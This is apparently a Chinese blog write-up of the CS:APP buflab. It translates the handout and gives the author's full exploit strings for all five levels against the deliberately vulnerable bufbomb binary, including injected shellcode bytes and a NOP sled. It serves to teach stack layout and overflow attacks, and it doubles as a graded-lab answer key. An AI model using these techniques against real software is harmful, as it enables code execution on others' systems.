CS:APP buflab 记录

Introduction

这项任务将帮助您对IA-32调用约定和栈组织有详细的了解。 它涉及对lab目录中的可执行文件bufbomb施加一系列缓冲区溢出攻击。

 

Logistics

像往常一样,这是一个单独的项目。我们使用gcc的-m32标志生成了实验,因此,即使主机是x86-64系统,编译器生成的所有代码也都遵循IA-32规则。 这足以使您确信编译器可以使用所需的任何调用约定,只要它们保持一致即可。

 

Hand Out Instructions

首先将buflab-handout.tar复制到计划在其中进行工作的(受保护)目录。 然后输入命令“ tar xvf buflab-handout.tar”。 这将创建一个名为buflab-handout的目录,其中包含以下三个可执行文件:

bufbomb:您将攻击的缓冲炸弹程序。
makecookie:根据您的用户名生成一个“ cookie”。
hex2raw:一个实用程序,可帮助在字符串格式之间进行转换。

在以下说明中,我们假定您已将这三个程序复制到受保护的本地目录中,并且您正在该本地目录中执行它们。

 

Userids and Cookies

本实验的各个阶段将需要与每个学生略有不同的解决方案。 正确的解决方案将基于您的用户标识。 Cookie是由八位十六进制数字组成的字符串,该字符串具有很高的用户ID唯一性。 您可以使用makecookie程序(以您的userid作为参数)生成cookie。 例如:

在五次缓冲攻击中的四次中,您的目标是使Cookie显示在通常不会出现的位置。

 

The BUFBOMB Program

BUFBOMB程序从标准输入读取字符串。 使用下面定义的函数getbuf可以做到这一点:

函数Gets与标准库函数gets类似,它从标准输入中读取一个字符串(以“ \ n”或文件末尾终止),并将其(连同空终止符一起)存储在指定的目标位置。 在此代码中,您可以看到目标是一个数组buf,具有足够的空间来容纳32个字符。

Get(获取)从输入流中获取一个字符串,并将其存储到其目标地址(在本例中为buf)。 但是,Gets()无法确定buf是否足够大以存储整个输入。 它仅复制整个输入字符串,可能会超出在目标位置分配的存储范围。 如果用户键入的字符串不超过31个字符,则很明显,getbuf将返回1,如以下执行示例所示:

如果我们键入一个较长的字符串,通常会发生错误:

如错误消息所示,缓冲区溢出通常会导致程序状态被破坏,从而导致内存访问错误。 您的任务是使您给BUFBOMB喂的字符串更聪明,以便它做更多有趣的事情。 这些称为漏洞利用字符串。

BUFBOMB采用几个不同的命令行参数:

-u用户ID:为指定的用户ID操作炸弹。 您应始终出于以下几个原因提供此参数:
    •必须将成功的攻击提交给评分服务器。
    •BUFBOMB和程序MAKECOOKIE一样,根据用户ID确定要使用的Cookie。
    •我们在BUFBOMB中内置了函数,因此您需要使用的某些key栈地址取决于用户ID的cookie。
-h:打印可能的命令行参数列表。
-n:在“Nitro”模式下操作,为下面的level4所使用。
-s:将您的解决方案利用字符串提交给评分服务器

此时,您应该考虑一下x86栈的结构,并弄清楚您将要定位到栈中的哪些条目。 尽管还不太清楚,您可能还想思考一下为什么最后一个示例导致了段错误。

漏洞利用字符串通常将包含与打印字符的ASCII值不对应的字节值。 程序HEX2RAW可以帮助您生成这些原始字符串。 它以十六进制格式的字符串作为输入。 在这种格式下,每个字节值由两个十六进制数字表示。 例如,字符串“ 012345”可以十六进制格式输入为“ 30 31 32 33 34 35”。 (回想一下十进制数字x的ASCII码是0x3x。)

您传递的HEX2RAW十六进制字符应由空格(空白或换行符)分隔。 建议您在使用时用换行符分隔漏洞利用字符串的不同部分。 HEX2RAW还支持C样式的块注释,因此您可以标记漏洞利用字符串的各个部分。 例如:

请确保在开始和结束注释字符串(“ / *”,“ * /”)之间都留有空格,以便将其正确忽略。

如果在文件exploit.txt中生成了十六进制格式的漏洞利用字符串,则可以通过几种不同的方式将原始字符串应用于BUFBOMB:

1.您可以设置一系列管道,以通过HEX2RAW传递字符串。

2.您可以将原始字符串存储在文件中,并使用I / O重定向将其提供给BUFBOMB:

   从GDB中运行BUFBOMB时,也可以使用这种方法:

重要事项:

•您的利用程序字符串在任何中间位置都不得包含字节值0x0A,因为这是换行符('\ n')的ASCII码。 当Gets遇到此字节时,它将假定您打算终止该字符串。

•HEX2RAW期望由空格分隔的两位十六进制值。 因此,如果要创建一个十六进制值为0的字节,则需要指定00。要创建字0xDEADBEEF,应将DE AD BE EF传递给HEX2RAW。

当你有了其中一个level的正确的解决方案时,比如说level0:

 

Level 0: Candle (10 pts)

具有以下C代码的test函数在BUFBOMB中调用了函数getbuf:

当getbuf执行其return语句(getbuf的第5行)时,程序通常会在test函数(该函数的第7行)内恢复执行。 我们想改变这种行为。 在文件bufbomb中,有一个带有以下C代码的函数smoke:

您的任务是让BUFBOMB在getbuf执行return语句时执行smoke的代码,而不是返回test。 请注意,您的漏洞利用字符串可能还会破坏与该阶段不直接相关的栈部分,但这不会造成问题,因为smoke会导致程序直接退出。

一些建议:

•通过检查BUFBOMB的反汇编版本,可以确定为此级别设计漏洞利用字符串所需的所有信息。 使用objdump -d获取此反汇编的版本。
•注意字节顺序。
•您可能希望使用GDB在getbuf的最后几条指令中单步执行该程序,以确保它在做正确的事情。
•将buf放在getbuf的栈框架中的位置取决于用于编译bufbomb的GCC版本,因此您必须阅读一些程序集才能确定其实际位置。

第一题白给,直接看getBuf的汇编。

明显buffer数组是放在ebp-0x28这个位置,那么首先填充这个数组需要40个字节,再这之上还有4字节test函数的栈帧,然后就到原本getbuf执行完后返回的地址,也是4字节,所以你需要填充44个字节外加4字节的smoke地址。smoke地址,看一下就知道了:

 

所以答案如下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* ebp-0x28 */
00 00 00 00     /* test's ebp */
ba 90 04 08     /* smoke address */

注意字节序,我电脑是小端的。然后结果如下:

 

Level 1: Sparkler (10 pts)

在文件bufbomb中,还有一个带有以下C代码的函数fizz:

与level0类似,您的任务是让BUFBOMB执行fizz的代码,而不是返回test。 但是,在这种情况下,必须使它看起来像是把cookie当作参数传给了fizz并且调用一样,你该怎么做?

一些建议:

•请注意,该程序不会真正调用fizz,而只是执行其代码。 这对于您要将Cookie放置在栈中的位置具有重要意义。

说实话这题也是白给。。。。显然比上面只多了一个参数。

那么先看一下fizz的地址。

 

(别吐槽为什么是黑的屏上面的红的屏,上面的是在家的时候搞的,黑屏是我不在家ssh到阿里云上搞的。。)再看看自己用户名的cookie。

那答案就出来了。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00
6f 90 04 08
00 00 00 00  /* the next command address after return fizz */
21 f6 84 42  /* the cookie of username */

首先在level0的基础上再填4字节用于函数返回后的下一条指令,最后四字节是参数。最后结果。

 

Level 2: Firecracker (15 pts)

缓冲区攻击的一种更为复杂的形式包括提供一个对实际机器指令进行编码的字符串。 然后,利用字符串将这些指令在栈上的起始地址覆盖返回指针。 当调用函数(在本例中为getbuf)执行其ret指令时,程序将开始在栈上执行指令,而不是返回。 通过这种攻击方式,您可以使程序执行几乎所有操作。 您放在栈上的代码称为漏洞利用代码。 但是,这种攻击方式比较棘手,因为您必须将机器代码放入栈并将返回指针设置为该代码的开头。

在文件bufbomb中,有一个具有以下C代码的函数bang:

与level0和level1相似,您的任务是让BUFBOMB执行bang代码,而不是返回test。 但是,在此之前,必须将全局变量global_value设置为用户ID的cookie。 您的利用代码应设置global_value,将bang的地址压入栈,然后执行ret指令以使跳转到bang的代码。

一些建议:

•您可以使用GDB获得构造漏洞利用字符串所需的信息。 在getbuf中设置一个断点,然后运行到该断点。 确定参数,例如global_value的地址和buffer的位置。

•手动确定指令序列的字节编码很繁琐并且容易出错。 您可以通过编写包含要放入栈中的指令和数据的汇编代码文件,使工具完成所有工作。 使用gcc -m32 -c组装此文件,并使用objdump -d进行反汇编。 您应该能够获得在提示符下键入的确切字节序列。 (在本文结尾处提供了有关如何执行此操作的简短示例。)

•请记住,漏洞利用字符串取决于您的计算机,编译器甚至用户ID的Cookie。 在教师指定的其中一台机器上进行所有工作,并确保在命令行中包含正确的用户ID到BUFBOMB。

•编写汇编代码时,请注意对地址模式的使用。 注意movl $ 0x4,%eax将值0x00000004移入寄存器%eax; 而movl 0x4,%eax将内存位置0x00000004的值移动到%eax。 由于该内存位置通常是未定义的,因此第二条指令将导致段错误!

•请勿尝试使用jmp或呼叫指令跳转到bang代码。 这些指令使用PC相对寻址,要正确设置它非常棘手。 取而代之,将地址压入栈并使用ret指令。

这个其实也不难搞,他已经说得很清楚了。首先我们获取所需要的信息,global_value的地址,cookie的地址,buffer的地址。

首先知道了global_value的地址是0x804c1ec。

根据bang的反汇编代码知道cookie是0x804c1e4。

我们再bang函数里打印一下ebp地址,那么ebp-0x18的地址就可以知道是0x556838c8。

再写个汇编代码。

mov 0x804c1e4, %eax
mov %eax, 0x804c1ec
push $0x8049022
ret

汇编->目标文件,再用目标文件反汇编。再根据生成的字节数填充buffer,得到答案。

/*   0: */  a1 e4 c1 04 08      /*  mov    0x804c1e4,%eax */
/*   5: */  a3 ec c1 04 08      /*  mov    %eax,0x804c1ec */
/*   a: */  68 22 90 04 08      /*  push   $0x8049022     */
/*   f: */  c3                  /*  ret                   */
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* blank byte */
00 00 00 00 /* test's ebp address */
c8 38 68 55 /* buffer address     */

插入的代码是16个字节,所以我们得补14个空白字节,外加4字节test的栈帧,然后到返回函数后的下一条地址(在这里是buffer的地址)。最后通过。

 

Level 3: Dynamite (20 pts)

我们之前的攻击都导致程序跳至其他函数的代码,然后导致程序退出。 结果,使用破坏的栈,覆盖保存的值的漏洞利用字符串是可以接受的。

缓冲区溢出攻击的最复杂形式是使程序执行一些利用代码,从而改变程序的寄存器/内存状态,但使程序返回到原始调用函数(在这里为test函数)。 调用函数不会受到攻击。 但是,这种攻击方式非常棘手,因为您必须:1)将机器代码放入栈,2)将返回指针设置为该代码的开头,以及3)撤消对栈状态的任何破坏。

在这个level,您的工作是提供一个漏洞利用字符串,该字符串将导致getbuf将您的cookie返回到test函数,而不是值1。您可以在test函数的代码中看到,这将使程序引发“boom!”。 漏洞利用代码应将cookie设置为返回值,恢复任何损坏的状态,将正确的返回位置压入栈,并执行ret指令以真正返回test函数。

一些建议:

•您可以使用GDB获得构造漏洞利用字符串所需的信息。在getbuf中设置一个断点,然后运行到该断点。确定参数,例如保存的返回地址。
•手动确定指令序列的字节编码很繁琐并且容易出错。您可以通过编写包含要放入栈中的指令和数据的汇编代码文件,使工具完成所有工作。使用GCC组装此文件,然后使用OBJDUMP对其进行反汇编。您应该能够获得在提示符下键入的确切字节序列。 (在本文结尾处提供了有关如何执行此操作的简短示例。)
•请记住,漏洞利用字符串取决于您的计算机,编译器甚至用户ID的Cookie。在教师指定的机器上进行所有工作,并确保在命令行中包含BUFBOMB的正确用户名。完成此level后,请停下来思考一下您已完成的工作。您使程序执行自己设计的机器代码。您以一种非常隐秘的方式执行了此操作,以使程序没有意识到任何错误。

这题要想清楚有多少个寄存器跟原来是不一样的。首先返回的时候ebp被我们刷掉了,所以我们得还原ebp,得知道原来ebp的值。

再来我们需要知道原本返回的地址的位置。

其他的信息我们在上一个level里知道了,那么我们应该执行的指令如下:

mov 0x804c1e4, %eax
mov $0x55683920, %ebp
push $0x8048c93
ret

eax是返回值,直接把cookie的地址的值赋给eax,然后ebp要复原,它的值刚才我们已经知道了,最后就是返回到getbuf的下一条指令的地址了。最后最后答案如下:

/*   0: */ a1 e4 c1 04 08       /*  mov    0x804c1e4,%eax */
/*   5: */ bd 20 39 68 55       /*  mov    $0x55683920,%ebp */
/*   a: */ 68 93 8c 04 08       /*  push   $0x8048c93 */
/*   f: */ c3                   /*  ret    */
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* blank bytes */
00 00 00 00 /* test's ebp */
c8 38 68 55 /* buffer address */

最后通过。

 

Level 4: Nitroglycerin (10 pts)

请注意:您需要使用“ -n”命令行标志才能运行此阶段。

从一次运行到另一次运行,尤其是由不同的用户运行,给定过程使用的确切栈位置将有所不同。 这种变化的原因之一是,当程序开始执行时,所有环境变量的值都放在栈的底部附近。 环境变量存储为字符串,根据其值需要不同的存储量。 因此,为给定用户分配的栈空间取决于他或她的环境变量的设置。 在GDB下运行程序时,栈位置也有所不同,因为GDB将栈空间用于其自身的某些状态。

在调用getbuf的代码中,我们合并了稳定栈的功能,以便在运行期间getbuf栈帧的位置保持一致。 这样可以编写知道buf确切起始地址的漏洞利用字符串。 如果您试图在普通程序上使用这种漏洞利用程序,则会发现它有时会起作用,但有时会导致段错误。 因此,“dynamite”是由Alfred Nobel开发的一种炸药,它有稳定元素,可以减少意外爆炸的可能性。

在这个level,我们要走相反的方向,使栈位置比正常情况下更不稳定。 因此,“nitroglycerin”一词是众所周知的不稳定炸药。

当使用命令行标志“ -n”运行BUFBOMB时,它将以“nitroglycerin”模式运行。 程序不调用函数getbuf,而是调用稍微不同的函数getbufn:

该函数类似于getbuf,不同之处在于它具有512个字符的缓冲区。 您将需要更多空间来创建可靠的漏洞利用程序。 首先调用getbufn的代码在栈上分配了一个随机的存储量,这样,如果在两次连续执行getbufn的过程中对%ebp的值进行采样,您会发现它们之间的差异最大为±240。

此外,在Nitro模式下运行时,BUFBOMB要求您提供5次字符串,它将执行getbufn 5次,每次具有不同的栈偏移量。 您的漏洞利用字符串必须使它们每次都返回您的cookie。 您的任务与Dynamite level的任务相同。 再次,此level的工作是提供一个漏洞利用字符串,该字符串将导致getbufn将您的cookie返回测试,而不是值1。您可以在测试代码中看到这将导致程序进入“ KABOOM” !。”  漏洞利用代码应将cookie设置为返回值,恢复任何损坏的状态,将正确的返回位置压入栈,并执行ret指令以真正返回到testn。

一些建议:

•您可以使用程序HEX2RAW发送漏洞利用字符串的多个副本。 如果文件exploit.txt中只有一个副本,则可以使用以下命令:

您必须对getbufn的所有5次执行使用相同的字符串。 否则,它将使我们的评分服务器使用的测试代码失败。

•诀窍是利用nop指令。 它用一个字节编码(代码0x90)。 阅读CS:APP2e教科书第262页上的“ nop sleds”可能很有用。

做这个的时候我人傻了,因为./hex2raw没用-n一直错,然后调了我大半天。。。。。

这个跟上一题不同的地方在与函数的栈帧位置是不固定的,但是除了跟栈有关的地址还是一样,所以得出结论在上一题的基础上我们得修改执行代码的地址以及修改ebp寄存器的指令。

根据这个地方可以得出在testn函数的时候esp-ebp等于0x28,那么我们解决了第一个问题如何修改ebp寄存器的指令。

第二个问题首先得解决buf是动态但是我们ret的时候是写死的地址。这里就要用到提示nop指令了,nop指令为空指令,而且我们的buffer足够大,那么只需要将执行的指令写在最后,前面用nop填充,ret返回的时候取最大的地址就可以解决这个问题了。那么这5次调用里的最大地址我们就需要依赖gdb了。

显然最大的是0x55683728。那么答案就出来了。

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90

/*   0: */ a1 e4 c1 04 08           /* mov    0x804c1e4,%eax */
/*   5: */ 8d 6c 24 28              /* lea    0x28(%esp),%ebp */
/*   9: */ 68 2e 8c 04 08           /* push   $0x8048c2e */
/*   e: */ c3                       /* ret    */  
/* the sum is 520 bytes */
00 00 00 00  /* testn's ebp */
28 37 68 55  /* buffer address */

结果如下:

 

Generating Byte Codes

将GCC用作汇编程序,将OBJDUMP用作反汇编程序,可以方便地生成指令序列的字节码。 例如,假设我们编写了一个文件example.S,其中包含以下汇编代码:

该代码可以包含指令和数据的混合。 “#”字符右侧的任何内容均为注释。

现在,我们可以汇编和反汇编此文件:

生成的文件example.d包含以下几行

每行显示一条指令。 左边的数字表示起始地址(从0开始),而':'字符后的十六进制数字表示指令的字节码。 因此,我们可以看到指令push $ 0xABCDEF具有十六进制格式的字节码68 ef cd ab 00。

从地址8开始,反汇编程序感到困惑。 它尝试将文件example.o中的字节解释为指令,但这些字节实际上对应于数据。 但是请注意,如果我们从地址8开始读取4个字节,则会得到:98 ba dc fe。 这是数据字0xFEDCBA98的字节反转版本。 此字节反转表示将字节作为字符串提供的正确方法,因为小字节序机器首先列出了最低有效字节。 最后,我们可以读取代码的字节序列,如下所示:

然后可以将该字符串通过HEX2RAW传递,以生成可以提供给BUFBOMB的正确输入字符串。 另外,我们可以编辑example.d如下所示:

这也是有效的输入,我们可以在发送给BUFBOMB之前通过HEX2RAW进行传递。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值